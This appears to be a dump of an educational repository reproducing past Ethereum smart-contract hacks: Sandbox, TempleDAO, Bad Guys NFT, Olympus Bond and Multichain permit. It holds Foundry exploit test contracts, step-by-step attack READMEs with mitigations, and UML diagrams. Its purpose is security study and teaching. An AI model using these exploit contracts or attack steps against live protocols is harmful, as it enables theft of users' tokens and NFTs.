+🔍latestRoundData() 28 | 29 | } 30 | 31 | 32 | interface ISimpleOraclePrice { 33 | ' -- inheritance -- 34 | 35 | ' -- usingFor -- 36 | 37 | ' -- vars -- 38 | 39 | ' -- methods -- 40 | +setOracleData() 41 | 42 | } 43 | 44 | 45 | class Exploit_Rikkei { 46 | ' -- inheritance -- 47 | {abstract}TestHarness 48 | {abstract}TokenBalanceTracker 49 | 50 | ' -- usingFor -- 51 | 52 | ' -- vars -- 53 | #[[IRToken]] rBNB 54 | #[[IRToken]] rTokens 55 | #[[IWETH9]] wbnb 56 | #[[IERC20]] tokens 57 | #[[address]] attackerContract 58 | #[[IPancakeRouter01]] router 59 | #[[IUnitroller]] unitroller 60 | #[[ISimpleOraclePrice]] priceOracle 61 | 62 | ' -- methods -- 63 | +setUp() 64 | +💰**__constructor__**() 65 | +test_attack() 66 | #deployMaliciousOracle() 67 | 68 | } 69 | 70 | 71 | class MaliciousOracle { 72 | ' -- inheritance -- 73 | {abstract}ChainLinkOracle 74 | 75 | ' -- usingFor -- 76 | 77 | ' -- vars -- 78 | #[[ChainLinkOracle]] bnbUSDOracle 79 | 80 | ' -- methods -- 81 | +🔍decimals() 82 | +🔍latestRoundData() 83 | 84 | } 85 | ' -- inheritance / usingFor -- 86 | Exploit_Rikkei --[#DarkGoldenRod]|> TestHarness 87 | Exploit_Rikkei --[#DarkGoldenRod]|> TokenBalanceTracker 88 | MaliciousOracle --[#DarkGoldenRod]|> ChainLinkOracle 89 | 90 | @enduml -------------------------------------------------------------------------------- /test/Access_Control/Sandbox/README.md: -------------------------------------------------------------------------------- 1 | # Sandbox Public Burn 2 | - **Type:** Exploit 3 | - **Network:** Ethereum 4 | - **Total lost**: 1 NFT (unknown price) 5 | - **Category:** Access Control 6 | - **Exploited contracts:** 7 | - - Sandbox LAND: https://etherscan.io/address/0x50f5474724e0Ee42D9a4e711ccFB275809Fd6d4a 8 | - **Attack transactions:** 9 | - - https://etherscan.io/tx/0x34516ee081c221d8576939f68aee71e002dd5557180d45194209d6692241f7b1 10 | - **Attack Block:** 14163042 11 | - **Date:** Feb 08, 2022 12 | - **Reproduce:** `forge test --match-contract Exploit_SandBox -vvv` 13 | 14 | ## Step-by-step 15 | 1. Find a player you don't like 16 | 2. Call `_burn` with `(enemyAddress, enemyAddress, id)` 17 | 3. You have destroyed your enemy NFT 18 | 19 | ## Detailed Description 20 | The Sandbox Land contract has a `_burn` method that destroys an NFT. 21 | 22 | ``` solidity 23 | function _burn(address from, address owner, uint256 id) public { 24 | require(from == owner, "not owner"); 25 | _owners[id] = 2**160; // cannot mint it again 26 | _numNFTPerAddress[from]--; 27 | emit Transfer(from, address(0), id); 28 | } 29 | ``` 30 | 31 | 32 | The method apparently intends to authenticate the `burn`, but does so using 33 | parameters to the function instead of `msg.sender`. This leads to the attack being 34 | quite trivial: the attacker just sends `from == owner`. 35 | 36 | ## Possible mitigations 37 | - Use `msg.sender` instead of the function parameter `from` 38 | 39 | ## Diagrams and graphs 40 | 41 | ### Entity and class diagram 42 | ![PlantUML](sandbox.png) 43 | 44 | ## Sources and references 45 | - [Slowmist Post] (https://slowmist.medium.com/the-vulnerability-behind-the-sandbox-land-migration-2abf68933170) 46 | -------------------------------------------------------------------------------- /test/Access_Control/Sandbox/Sandbox.attack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.17; 3 | 4 | import "forge-std/Test.sol"; 5 | import {TestHarness} from "../../TestHarness.sol"; 6 | 7 | import {TokenBalanceTracker} from '../../modules/TokenBalanceTracker.sol'; 8 | 9 | interface ILand { 10 | function _burn( 11 | address from, 12 | address owner, 13 | uint256 id 14 | ) external; 15 | function _numNFTPerAddress(address) external view returns (uint256); 16 | } 17 | 18 | contract Exploit_SandBox is TestHarness{ 19 | address internal attacker = 0x6FB0B915D0e10c3B2ae42a5DD879c3D995377A2C; 20 | address internal victim = 0x9cfA73B8d300Ec5Bf204e4de4A58e5ee6B7dC93C; 21 | 22 | ILand internal land = ILand(0x50f5474724e0Ee42D9a4e711ccFB275809Fd6d4a); 23 | 24 | function setUp() external { 25 | cheat.createSelectFork('mainnet', 14163041); // We pin one block before the exploit happened. 26 | 27 | } 28 | 29 | function test_attack() external { 30 | uint256 numOfNFTsVictimBefore = land._numNFTPerAddress(victim); 31 | console.log('------- INITIAL NFT BALANCE OF VICTIM -------'); 32 | console.log(numOfNFTsVictimBefore); 33 | 34 | 35 | land._burn(victim, victim, 3738); 36 | uint256 numOfNFTsVictimAfter = land._numNFTPerAddress(victim); 37 | console.log('------- FINAL NFT BALANCE OF VICTIM -------'); 38 | console.log(numOfNFTsVictimAfter); 39 | assertEq(numOfNFTsVictimBefore, numOfNFTsVictimAfter+1); 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /test/Access_Control/Sandbox/sandbox.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coinspect/learn-evm-attacks/6e6853720b5f4439425ac0e3d37c66a17c5655ac/test/Access_Control/Sandbox/sandbox.png -------------------------------------------------------------------------------- /test/Access_Control/Sandbox/sandbox.wsd: -------------------------------------------------------------------------------- 1 | @startuml 2 | 3 | interface ILand { 4 | ' -- inheritance -- 5 | 6 | ' -- usingFor -- 7 | 8 | ' -- vars -- 9 | 10 | ' -- methods -- 11 | +_burn() 12 | +🔍_numNFTPerAddress() 13 | 14 | } 15 | 16 | 17 | class Exploit_SandBox { 18 | ' -- inheritance -- 19 | {abstract}TestHarness 20 | 21 | ' -- usingFor -- 22 | 23 | ' -- vars -- 24 | #[[address]] attacker 25 | #[[address]] victim 26 | #[[ILand]] land 27 | 28 | ' -- methods -- 29 | +setUp() 30 | +test_attack() 31 | 32 | } 33 | ' -- inheritance / usingFor -- 34 | Exploit_SandBox --[#DarkGoldenRod]|> TestHarness 35 | 36 | @enduml -------------------------------------------------------------------------------- /test/Access_Control/TempleDao/README.md: -------------------------------------------------------------------------------- 1 | # TempleDAO Spoof Old Staking Contract 2 | - **Type:** Exploit 3 | - **Network:** Ethereum 4 | - **Total lost**: ~2.3MM USD 5 | - **Category:** Access Control 6 | - **Exploited contracts:** 7 | - - https://etherscan.io/address/0xd2869042E12a3506100af1D192b5b04D65137941 8 | - **Attack transactions:** 9 | - - https://etherscan.io/tx/0x8c3f442fc6d640a6ff3ea0b12be64f1d4609ea94edd2966f42c01cd9bdcf04b5 10 | - **Attack Block:**: 15725067 11 | - **Date:** Oct 11, 2022 12 | - **Reproduce:** `forge test --match-contract Exploit_TempleDAO -vvv` 13 | 14 | ## Step-by-step 15 | 1. Create a contract that does not revert when receiving a call to `migrateWithdraw` 16 | 2. Call `migrateStake(evilContract, MAX_UINT256)` and get a lot of tokens. 17 | 18 | ## Detailed Description 19 | The protocol wanted to allow users to migrate stake from an old contract to a new one. To do that, they provided a `migrateStake` function: 20 | 21 | ``` solidity 22 | function migrateStake(address oldStaking, uint256 amount) external { 23 | StaxLPStaking(oldStaking).migrateWithdraw(msg.sender, amount); 24 | _applyStake(msg.sender, amount); 25 | } 26 | ``` 27 | 28 | An OK implementation of `migrateWithdraw` should transfer `amount` from `msg.sender` to the current contract and revert if it wasn't able to. `_applyStake` would later add `amount` to `msg.sender`. 29 | 30 | Unfortunately, it is trivial to pass an evil `oldStaking` contract that never reverts. 31 | 32 | ## Possible mitigations 33 | - Store a list of valid `oldStaking` contract addresses and whitelist them (needs an `owner` if the list needs to be dynamic) 34 | 35 | ## Diagrams and graphs 36 | 37 | ### Entity and class diagram 38 | ![PlantUML](templedao.png) 39 | 40 | ## Sources and references 41 | - [BlockSecTeam Twitter Thread](https://twitter.com/BlockSecTeam/status/1579843881893769222) 42 | -------------------------------------------------------------------------------- /test/Access_Control/TempleDao/TempleDao.attack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.17; 3 | 4 | import "forge-std/Test.sol"; 5 | import {TestHarness} from "../../TestHarness.sol"; 6 | import {IERC20} from '../../interfaces/IERC20.sol'; 7 | 8 | import {TokenBalanceTracker} from '../../modules/TokenBalanceTracker.sol'; 9 | 10 | interface IStax { 11 | function migrateStake(address oldStaking, uint256 amount) external; 12 | function withdrawAll(bool claim) external; 13 | function balanceOf(address) external returns (uint256); 14 | } 15 | 16 | contract Exploit_TempleDAO is TestHarness, TokenBalanceTracker { 17 | IERC20 internal staxLpToken = IERC20(0xBcB8b7FC9197fEDa75C101fA69d3211b5a30dCD9); 18 | IStax internal stax = IStax(0xd2869042E12a3506100af1D192b5b04D65137941); 19 | 20 | function setUp() external { 21 | cheat.createSelectFork('mainnet', 15725066); 22 | cheat.deal(address(this), 0 ether); 23 | 24 | addTokenToTracker(address(staxLpToken)); 25 | updateBalanceTracker(address(this)); 26 | updateBalanceTracker(address(stax)); 27 | } 28 | 29 | function test_attack() external { 30 | console.log('------- INITIAL STATUS -------'); 31 | console.log('Attacker balances'); 32 | logBalances(address(this)); 33 | console.log('Stax Pool balances'); 34 | logBalances(address(stax)); 35 | uint256 balanceBefore = stax.balanceOf(address(this)); 36 | 37 | console.log('------- STEP 1: MIGRATE -------'); 38 | address migrationTarget = address(new FakeMigrate{salt: bytes32(0)}()); 39 | 40 | uint256 staxBalance = staxLpToken.balanceOf(address(stax)); 41 | stax.migrateStake(migrationTarget, staxBalance); 42 | 43 | console.log('Attacker balances'); 44 | logBalances(address(this)); 45 | console.log('Stax Pool balances'); 46 | logBalances(address(stax)); 47 | 48 | console.log('------- STEP 2: WITHDRAW -------'); 49 | stax.withdrawAll(false); 50 | 51 | console.log('Attacker balances'); 52 | logBalances(address(this)); 53 | console.log('Stax Pool balances'); 54 | logBalances(address(stax)); 55 | uint256 balanceAfter = stax.balanceOf(address(this)); 56 | assertGe(balanceAfter, balanceBefore); 57 | } 58 | } 59 | 60 | contract FakeMigrate { 61 | // Migration callback 62 | function migrateWithdraw(address staker, uint256 amount) external {} 63 | } 64 | -------------------------------------------------------------------------------- /test/Access_Control/TempleDao/templedao.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coinspect/learn-evm-attacks/6e6853720b5f4439425ac0e3d37c66a17c5655ac/test/Access_Control/TempleDao/templedao.png -------------------------------------------------------------------------------- /test/Access_Control/TempleDao/templedao.wsd: -------------------------------------------------------------------------------- 1 | @startuml 2 | 3 | interface IStax { 4 | ' -- inheritance -- 5 | 6 | ' -- usingFor -- 7 | 8 | ' -- vars -- 9 | 10 | ' -- methods -- 11 | +migrateStake() 12 | +withdrawAll() 13 | 14 | } 15 | 16 | 17 | class Exploit_TempleDAO { 18 | ' -- inheritance -- 19 | {abstract}TestHarness 20 | {abstract}TokenBalanceTracker 21 | 22 | ' -- usingFor -- 23 | 24 | ' -- vars -- 25 | #[[IERC20]] staxLpToken 26 | #[[IStax]] stax 27 | 28 | ' -- methods -- 29 | +setUp() 30 | +test_attack() 31 | 32 | } 33 | 34 | 35 | class FakeMigrate { 36 | ' -- inheritance -- 37 | 38 | ' -- usingFor -- 39 | 40 | ' -- vars -- 41 | 42 | ' -- methods -- 43 | +migrateWithdraw() 44 | 45 | } 46 | ' -- inheritance / usingFor -- 47 | Exploit_TempleDAO --[#DarkGoldenRod]|> TestHarness 48 | Exploit_TempleDAO --[#DarkGoldenRod]|> TokenBalanceTracker 49 | 50 | @enduml -------------------------------------------------------------------------------- /test/Bad_Data_Validation/Bad_Guys_NFT/README.md: -------------------------------------------------------------------------------- 1 | # Bad Guys NFT 2 | - **Type:** Exploit 3 | - **Network:** Ethereum 4 | - **Total lost**: 400 NFTs were claimed 5 | - **Category:** Data validation 6 | - **Exploited contracts:** 7 | - - [0xb84cbaf116eb90fd445dd5aeadfab3e807d2cbac](https://etherscan.io/address/0xb84cbaf116eb90fd445dd5aeadfab3e807d2cbac) 8 | - **Attack transactions:** 9 | - - https://etherscan.io/tx/0xb613c68b00c532fe9b28a50a91c021d61a98d907d0217ab9b44cd8d6ae441d9f 10 | - **Attack Block:**: 15460094 11 | - **Date:** Sept 02, 2022 12 | - **Reproduce:** `forge test --match-contract Exploit_Bad_Guys_NFT -vvv` 13 | 14 | ## Step-by-step 15 | 1. Get whitelisted 16 | 2. Call the whitelist mint function with a high number of `chosenAmount` so you mint all available NFTs. 17 | 18 | ## Detailed Description 19 | The attacker claimed 400 NFTs in a single transaction. The mistake is in the `WhiteListMint` function, where anyone whitelisted can pass an arbitrary `chosenAmount`. The `_numberMinted_` map is only updated after calling the function, so the `require` passes for any number on the first try. 20 | 21 | ```solidity 22 | function WhiteListMint(bytes32[] calldata _merkleProof, uint256 chosenAmount) 23 | public 24 | { 25 | require(_numberMinted(msg.sender)<1, "Already Claimed"); 26 | require(isPaused == false, "turn on minting"); 27 | require( 28 | chosenAmount > 0, 29 | "Number Of Tokens Can Not Be Less Than Or Equal To 0" 30 | ); 31 | require( 32 | totalSupply() + chosenAmount <= maxsupply - reserve, 33 | "all tokens have been minted" 34 | ); 35 | bytes32 leaf = keccak256(abi.encodePacked(msg.sender)); 36 | require( 37 | MerkleProof.verify(_merkleProof, rootHash, leaf), 38 | "Invalid Proof" 39 | ); 40 | _safeMint(msg.sender, chosenAmount); 41 | } 42 | 43 | 44 | ``` 45 | 46 | ## Possible mitigations 47 | - The `chosenAmount` parameter seems to be useless and would better be a constant of `1` if that was the intended usage. 48 | - Otherwise, if it was intended to allow for more than one mint per accoutn, restrict the `chosenAmount` parameter. 49 | 50 | ## Diagrams and graphs 51 | 52 | ### Class 53 | 54 | ![class](badguys.png) 55 | 56 | ## Sources and references 57 | - [RugDoctorApe Twitter Thread](https://twitter.com/RugDoctorApe/status/1565739119606890498) 58 | -------------------------------------------------------------------------------- /test/Bad_Data_Validation/Bad_Guys_NFT/badguys.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coinspect/learn-evm-attacks/6e6853720b5f4439425ac0e3d37c66a17c5655ac/test/Bad_Data_Validation/Bad_Guys_NFT/badguys.png -------------------------------------------------------------------------------- /test/Bad_Data_Validation/Bad_Guys_NFT/badguys.wsd: -------------------------------------------------------------------------------- 1 | @startuml 2 | 3 | interface IBadGuys { 4 | ' -- inheritance -- 5 | 6 | ' -- usingFor -- 7 | 8 | ' -- vars -- 9 | 10 | ' -- methods -- 11 | +WhiteListMint() 12 | +flipPauseMinting() 13 | +🔍balanceOf() 14 | 15 | } 16 | 17 | 18 | class Exploit_Bad_Guys_NFT { 19 | ' -- inheritance -- 20 | {abstract}TestHarness 21 | 22 | ' -- usingFor -- 23 | 24 | ' -- vars -- 25 | #{static}[[IBadGuys]] nft 26 | #{static}[[address]] PROJECT_OWNER 27 | #{static}[[address]] ATTACKER 28 | 29 | ' -- methods -- 30 | +setUp() 31 | +test_attack() 32 | 33 | } 34 | ' -- inheritance / usingFor -- 35 | Exploit_Bad_Guys_NFT --[#DarkGoldenRod]|> TestHarness 36 | 37 | @enduml -------------------------------------------------------------------------------- /test/Bad_Data_Validation/Bond_OlympusDAO/Bond_OlympusDAO.attack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.17; 3 | 4 | import "forge-std/Test.sol"; 5 | import {TestHarness} from "../../TestHarness.sol"; 6 | import {IERC20} from "../../interfaces/IERC20.sol"; 7 | 8 | import {TokenBalanceTracker} from '../../modules/TokenBalanceTracker.sol'; 9 | 10 | address constant OHM = 0x64aa3364F17a4D01c6f1751Fd97C2BD3D7e7f1D5; 11 | interface IBondFixedExpiryTeller { 12 | function redeem(ExploitOlympusToken token_, uint256 amount_) external; 13 | } 14 | 15 | // forge test --match-contract Exploit_OlympusDao -vvv 16 | contract Exploit_OlympusDao is TestHarness, TokenBalanceTracker { 17 | 18 | address constant internal BOND_FIXED_EXPIRY_TELLER = 0x007FE7c498A2Cf30971ad8f2cbC36bd14Ac51156; 19 | // actual attacker address: 0x443cf223e209E5A2c08114A2501D8F0f9Ec7d9Be; 20 | address internal ATTACKER = address(this); 21 | 22 | ExploitOlympusToken public exploitToken; 23 | IBondFixedExpiryTeller public bondExpiryTeller; 24 | 25 | function setUp() external { 26 | cheat.createSelectFork("mainnet", 15794363); // We pin one block before the exploit happened. 27 | cheat.label(OHM, "OHM"); 28 | cheat.label(BOND_FIXED_EXPIRY_TELLER, "BondFixedExpiryTeller"); 29 | cheat.label(ATTACKER, "Attacker"); 30 | 31 | exploitToken = new ExploitOlympusToken(); 32 | bondExpiryTeller = IBondFixedExpiryTeller(BOND_FIXED_EXPIRY_TELLER); 33 | 34 | addTokenToTracker(OHM); 35 | updateBalanceTracker(ATTACKER); 36 | updateBalanceTracker(BOND_FIXED_EXPIRY_TELLER); 37 | } 38 | 39 | function test_attack() public { 40 | uint256 initialTellerContractBalance = IERC20(OHM).balanceOf(BOND_FIXED_EXPIRY_TELLER); 41 | uint256 initialAttackerBalance = IERC20(OHM).balanceOf(ATTACKER); 42 | 43 | console.log("\nBefore Attack OHM Balance"); 44 | logBalancesWithLabel('Teller', BOND_FIXED_EXPIRY_TELLER); 45 | logBalancesWithLabel('Attacker', ATTACKER); 46 | 47 | // We pass the exploit token that has the required properties mentioned before 48 | bondExpiryTeller.redeem(exploitToken, initialTellerContractBalance); 49 | 50 | console.log("\nAfter Attack OHM Balance"); 51 | logBalancesWithLabel('Teller', BOND_FIXED_EXPIRY_TELLER); 52 | logBalancesWithLabel('Attacker', ATTACKER); 53 | 54 | uint256 finalAttackerBalance = IERC20(OHM).balanceOf(ATTACKER); 55 | assertGe(finalAttackerBalance, initialAttackerBalance); 56 | } 57 | 58 | } 59 | 60 | contract ExploitOlympusToken { 61 | function underlying() external pure returns(address) { 62 | return OHM; 63 | } 64 | 65 | function expiry() external pure returns (uint48 _expiry) { 66 | return 1; 67 | } 68 | 69 | function burn(address,uint256) external {} // it could do nothing as long as the burn(address,uint256) selector exists. 70 | } 71 | -------------------------------------------------------------------------------- /test/Bad_Data_Validation/Bond_OlympusDAO/README.md: -------------------------------------------------------------------------------- 1 | # Bond Olympus DAO 2 | - **Type:** Exploit 3 | - **Network:** Ethereum 4 | - **Total lost**: 30,437 OHM ~= 300K USD (returned later) 5 | - **Category:** Data validation 6 | - **Exploited contracts:** 7 | - - [0x007FE7c498A2Cf30971ad8f2cbC36bd14Ac51156](https://etherscan.io/address/0x007FE7c498A2Cf30971ad8f2cbC36bd14Ac51156) 8 | - **Attack transactions:** 9 | - - [0x3ed75df83d907412af874b7998d911fdf990704da87c2b1a8cf95ca5d21504cf](https://etherscan.io/tx/0x3ed75df83d907412af874b7998d911fdf990704da87c2b1a8cf95ca5d21504cf) 10 | - **Attacker Addresses**: 11 | - - EOA: [0x443cf223e209E5A2c08114A2501D8F0f9Ec7d9Be](https://etherscan.io/address/0x443cf223e209E5A2c08114A2501D8F0f9Ec7d9Be) 12 | - - Contract: 13 | [0xa29e4fe451ccfa5e7def35188919ad7077a4de8f](https://etherscan.io/address/0xa29e4fe451ccfa5e7def35188919ad7077a4de8f) 14 | - **Attack Block:**: 15794364 15 | - **Date:** Oct 21, 2022 16 | - **Reproduce:** `forge test --match-contract Exploit_OlympusDAO -vvv` 17 | 18 | ## Step-by-step 19 | 1. Craft and deploy a contract so that it passes the requirements. 20 | 2. Call `redeem` with the malicious contract as the `token_` 21 | 22 | ## Detailed Description 23 | The attack relies on an arbitrarily supplied `token_` parameter. The attacker simply needs to construct a malicious contract as the `token_`. Most importantly, it should return a token that has been permitted by the victim contract to move funds when its `_underlying()` method is called. 24 | 25 | ``` solidity 26 | function redeem(ERC20BondToken token_, uint256 amount_) 27 | external 28 | override 29 | nonReentrant { 30 | if (uint48(block.timestamp) < token_.expiry()) 31 | revert Teller_TokenNotMatured(token_.expiry()); 32 | token_.burn(msg.sender, amount_); 33 | token_.underlying().transfer(msg.sender, amount_); 34 | } 35 | ``` 36 | 37 | The attacker chose to set `_underlying()` to the OHM address. 38 | 39 | Luckily for the DAO, the attacker was a whitehack that later returned the funds. 40 | 41 | ## Possible mitigations 42 | - Implement a whitelist of allowed tokens. 43 | 44 | ## Diagrams and graphs 45 | 46 | ### Class 47 | 48 | ![class](olympus.png) 49 | 50 | ## Sources and references 51 | - [Peckshield Twitter Thread](http://https://twitter.com/peckshield/status/1583416829237526528) 52 | - [0xbanky.eth Writeup](https://mirror.xyz/0xbanky.eth/c7G9ZfTB8pzQ5cCMw5UhdFehmR6l0fVqd_B-ZuXz2_o) 53 | -------------------------------------------------------------------------------- /test/Bad_Data_Validation/Bond_OlympusDAO/olympus.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coinspect/learn-evm-attacks/6e6853720b5f4439425ac0e3d37c66a17c5655ac/test/Bad_Data_Validation/Bond_OlympusDAO/olympus.png -------------------------------------------------------------------------------- /test/Bad_Data_Validation/Bond_OlympusDAO/olympus.wsd: -------------------------------------------------------------------------------- 1 | @startuml 2 | 3 | interface IBondFixedExpiryTeller { 4 | ' -- inheritance -- 5 | 6 | ' -- usingFor -- 7 | 8 | ' -- vars -- 9 | 10 | ' -- methods -- 11 | +redeem() 12 | 13 | } 14 | 15 | 16 | class Exploit_OlympusDao { 17 | ' -- inheritance -- 18 | {abstract}TestHarness 19 | {abstract}TokenBalanceTracker 20 | 21 | ' -- usingFor -- 22 | 23 | ' -- vars -- 24 | #{static}[[address]] BOND_FIXED_EXPIRY_TELLER 25 | #{static}[[address]] ATTACKER 26 | +[[ExploitOlympusToken]] exploitToken 27 | +[[IBondFixedExpiryTeller]] bondExpiryTeller 28 | 29 | ' -- methods -- 30 | +setUp() 31 | +test_Attack() 32 | 33 | } 34 | 35 | 36 | class ExploitOlympusToken { 37 | ' -- inheritance -- 38 | 39 | ' -- usingFor -- 40 | 41 | ' -- vars -- 42 | 43 | ' -- methods -- 44 | +🔍underlying() 45 | +🔍expiry() 46 | +burn() 47 | 48 | } 49 | ' -- inheritance / usingFor -- 50 | Exploit_OlympusDao --[#DarkGoldenRod]|> TestHarness 51 | Exploit_OlympusDao --[#DarkGoldenRod]|> TokenBalanceTracker 52 | 53 | @enduml -------------------------------------------------------------------------------- /test/Bad_Data_Validation/Multichain_Permit/Multichain_Permit.attack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.17; 3 | 4 | import "forge-std/Test.sol"; 5 | import {TestHarness} from "../../TestHarness.sol"; 6 | import {IWETH9} from "../../interfaces/IWETH9.sol"; 7 | 8 | import {TokenBalanceTracker} from '../../modules/TokenBalanceTracker.sol'; 9 | 10 | interface AnyswapV4Router { 11 | function anySwapOutUnderlyingWithPermit( 12 | address from, 13 | address token, 14 | address to, 15 | uint256 amount, 16 | uint256 deadline, 17 | uint8 v, 18 | bytes32 r, 19 | bytes32 s, 20 | uint256 toChainID 21 | ) external; 22 | } 23 | 24 | interface AnyswapV1ERC20 { 25 | function mint(address to, uint256 amount) external returns (bool); 26 | 27 | function burn(address from, uint256 amount) external returns (bool); 28 | 29 | function changeVault(address newVault) external returns (bool); 30 | 31 | function depositVault(uint256 amount, address to) external returns (uint256); 32 | 33 | function withdrawVault( 34 | address from, 35 | uint256 amount, 36 | address to 37 | ) external returns (uint256); 38 | 39 | function underlying() external view returns (address); 40 | } 41 | 42 | // forge test --match-contract Exploit_Multichain -vvv 43 | contract Exploit_Multichain is TestHarness, TokenBalanceTracker{ 44 | address WETH_Address = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; 45 | AnyswapV4Router swapRouter = AnyswapV4Router(0x6b7a87899490EcE95443e979cA9485CBE7E71522); 46 | AnyswapV1ERC20 swap20 =AnyswapV1ERC20(0x6b7a87899490EcE95443e979cA9485CBE7E71522); 47 | IWETH9 internal weth = IWETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); 48 | 49 | // actual attacker address: 0xFA2731d0BEde684993AB1109DB7ecf5bF33E8051; 50 | address internal ATTACKER = address(this); 51 | address constant internal VICTIM = 0x3Ee505bA316879d246a8fD2b3d7eE63b51B44FAB; 52 | uint256 constant internal stole_WETH = 308636644758370382903; 53 | uint256 constant internal FUTURE_DEADLINE = 100000000000000000000; 54 | 55 | // In the actual attack, the attacker first exploited this with a contract 56 | // and then transfered to their EOA. Here, we can simplify and just transfer to 57 | // this contract. 58 | function setUp() external { 59 | cheat.createSelectFork("mainnet", 14037236); // We pin one block before the exploit happened. 60 | cheat.deal(address(this), 0); 61 | 62 | cheat.label(ATTACKER, "Attacker"); 63 | cheat.label(VICTIM, "Victim"); 64 | cheat.label(address(swapRouter), "AnyswapV4Router"); 65 | cheat.label(address(swap20), "AnyswapV1ERC20"); 66 | cheat.label(address(weth), "WETH"); 67 | 68 | addTokenToTracker(address(weth)); 69 | updateBalanceTracker(ATTACKER); 70 | updateBalanceTracker(VICTIM); 71 | } 72 | 73 | function test_attack() external { 74 | console.log("\nBefore Attack Balances"); 75 | logBalancesWithLabel('Attacker', ATTACKER); 76 | logBalancesWithLabel('Victim', VICTIM); 77 | uint256 balanceBefore = weth.balanceOf(ATTACKER); 78 | 79 | swapRouter.anySwapOutUnderlyingWithPermit(VICTIM, address(this), ATTACKER, stole_WETH, FUTURE_DEADLINE, 0, bytes32(0), bytes32(0), 56); // To BSC. 80 | console.log("\nDuring Attack Balances"); 81 | logBalancesWithLabel('Attacker', ATTACKER); 82 | logBalancesWithLabel('Victim', VICTIM); 83 | 84 | uint256 balanceAfter = weth.balanceOf(ATTACKER); 85 | assertGe(balanceAfter, balanceBefore); 86 | } 87 | 88 | // Used to get the underlying of the token 89 | function underlying() external view returns (address){ 90 | return address(weth); 91 | 92 | } 93 | 94 | // For _anySwapOut() that uses AnyswapV1ERC20 to wrap the token to burn it. Just return true so that call passes. 95 | function burn(address, uint256) external pure returns(bool){ 96 | return true; 97 | } 98 | 99 | //The AnyswapV1ERC20() wraps the token and calls, this function. 100 | function depositVault(uint256 , address ) external pure returns (uint256){ 101 | return 1; 102 | } 103 | 104 | } 105 | -------------------------------------------------------------------------------- /test/Bad_Data_Validation/Multichain_Permit/README.md: -------------------------------------------------------------------------------- 1 | # Multichain Permit Attack 2 | - **Type:** Exploit 3 | - **Network:** Ethereum 4 | - **Total lost**: 308 WETH (~ U$960K) 5 | - **Category:** Data validation 6 | - **Exploited contracts:** 7 | - - [0x6b7a87899490EcE95443e979cA9485CBE7E71522](https://etherscan.io/address/0x6b7a87899490EcE95443e979cA9485CBE7E71522) 8 | - **Attack transactions:** 9 | - - [https://etherscan.io/tx/0xe50ed602bd916fc304d53c4fed236698b71691a95774ff0aeeb74b699c6227f7](https://etherscan.io/tx/0xe50ed602bd916fc304d53c4fed236698b71691a95774ff0aeeb74b699c6227f7) 10 | - **Attacker Addresses**: 11 | - - [0xfa2731d0bede684993ab1109db7ecf5bf33e8051](https://etherscan.io/address/0xfa2731d0bede684993ab1109db7ecf5bf33e8051) 12 | - **Attack Block:**: 14037237 13 | - **Date:** Jan 19, 2022 14 | - **Reproduce:** `forge test --match-contract Exploit_Multichain -vvv` 15 | 16 | ## Step-by-step 17 | 1. Craft and deploy a contract so that it passes the requirements. 18 | 2. Find a victim that had `permit` the contract to use `WETH`. 19 | 2. Call `anySwapOutUnderlyingWithPermit` with your malicious contract and the victim's address. 20 | 21 | ## Detailed Description 22 | 23 | Another attack that relies on an arbitry `token` parameter. Here, Multichain intended the token to be an `Anytoken` (Multichain was previously called AnySwap), which they use to track account balances when doing cross-chain transaction. 24 | 25 | The `anySwapOutUnderlyingWithPermit()` method takes a `token` and will call `permit` on its underlying and then transfer from the `underlying` to the `token`. 26 | 27 | The contract fails to take into account that `WETH` is special: `WETH`'s fallback function triggers its `deposit()` method and returns `true` and does not implement `permit`, so calls to `permit` on `WETH` simply return `true`. 28 | 29 | To make matters worst, most of the users of Multichain had given an unlimited token `allowance` to the Protocol, so when the contract uses `transferFrom` it can use an arbitrary amount. 30 | 31 | ``` solidity 32 | function anySwapOutUnderlyingWithPermit( 33 | address from, 34 | address token, 35 | address to, 36 | uint amount, 37 | uint deadline, 38 | uint8 v, 39 | bytes32 r, 40 | bytes32 s, 41 | uint toChainID 42 | ) external { 43 | address _underlying = AnyswapV1ERC20(token).underlying(); 44 | IERC20(_underlying).permit(from, address(this), amount, deadline, v, r, s); 45 | TransferHelper.safeTransferFrom(_underlying, from, token, amount); 46 | AnyswapV1ERC20(token).depositVault(amount, from); 47 | _anySwapOut(from, token, to, amount, toChainID); 48 | } 49 | 50 | function _anySwapOut(address from, address token, address to, uint amount, uint toChainID) internal { 51 | AnyswapV1ERC20(token).burn(from, amount); 52 | emit LogAnySwapOut(token, from, to, amount, cID(), toChainID); 53 | } 54 | ``` 55 | 56 | Here, the attacker deployed a contract that returned `WETH` as the underlying. 57 | 58 | 1. `permit` will pass due to the reason outlined above, even with no signature. 59 | 2. `transferFrom` will pass if the `victim` allowed Multichain with `permit`. 60 | 61 | Then it is just a matter of findings victims. 62 | 63 | ## Possible mitigations 64 | - Implement a whitelist of allowed tokens. 65 | - Avoid asking users to sign unlimited `allowances`. 66 | 67 | ## Diagrams and graphs 68 | 69 | ### Class 70 | 71 | ![class](multichain.png) 72 | 73 | ## Sources and references 74 | - [BlockSec Post](https://blocksecteam.medium.com/the-race-against-time-and-strategy-about-the-anyswap-rescue-and-things-we-have-learnt-4fe086b186ac) 75 | - [Zengo Writeup](https://medium.com/zengo/without-permit-multichains-exploit-explained-8417e8c1639b) 76 | -------------------------------------------------------------------------------- /test/Bad_Data_Validation/Multichain_Permit/multichain.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coinspect/learn-evm-attacks/6e6853720b5f4439425ac0e3d37c66a17c5655ac/test/Bad_Data_Validation/Multichain_Permit/multichain.png -------------------------------------------------------------------------------- 